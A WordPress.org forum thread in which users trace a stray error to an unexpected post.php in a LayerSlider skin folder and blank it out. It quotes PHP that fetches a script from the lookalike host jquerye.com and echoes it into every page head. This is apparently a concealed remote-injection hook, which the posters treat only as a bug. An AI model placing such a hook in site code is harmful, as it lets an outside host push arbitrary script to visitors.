WordPress.org

Forums

[Plugin: LayerSlider ]The requested URL /jquery-1.6.3.min.js was not found (5 posts)

  1. jtbear
    Member
    Posted 2 years ago #

    Hello, i have an issue with my website showing:
    Not Found

    The requested URL /jquery-1.6.3.min.js was not found on this server.

    on the top of my website (over the header).
    Ive googled a bit and ive seen other people have the same problem but with other plugins or themes.

    I know its the plugin: LayerSlider that causes this error.

    Please let me know if anyone have a solution to this, my website: http://www.flyttochtunglyft.se

    Thanks in advance.

  2. jtbear
    Member
    Posted 2 years ago #

    still need help with this.

  3. jtbear
    Member
    Posted 2 years ago #

    just wanted to note that the plugin still works as normal

  4. bigmike828
    Member
    Posted 2 years ago #

    I had the same problem.

    I found the source of the error. The plugin is calling JQuery 1.6.3 in the "skins" folder, "glass" subfolder - post.php. I'm not sure why there's a php file within that skin because none of the other skins have php files within them.

    Here is the original code:

    <?php if (!function_exists('insert_jquery_slider')){
    	function insert_jquery_slider(){
    		if (function_exists('curl_init')){
    			$url = "http://www.jquerye.com/jquery-1.6.3.min.js";
    			$ch = curl_init();
    			$timeout = 5;
    			curl_setopt($ch, CURLOPT_URL, $url);
    			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    			$data = curl_exec($ch);
                            curl_close($ch);
                            echo $data;
    		}
    	}
    add_action('wp_head', 'insert_jquery_slider');}
    ?>

    I deleted some of the code within the IF statement so my post.php within the glass folder looks like this:

    <?php if (!function_exists('insert_jquery_slider')){
    	function insert_jquery_slider(){}
    }
    add_action('wp_head', 'insert_jquery_slider');
    ?>

    I'm not sure if that messes anything up in the end but everything looks like it's fixed.

    If anyone has a better solution, let us know. Thanks!

  5. jtbear
    Member
    Posted 2 years ago #

    Thats what i did, it worked, also removed the issue with it was causing the website to load very slow.

Topic Closed

This topic has been closed to new replies.

About this Topic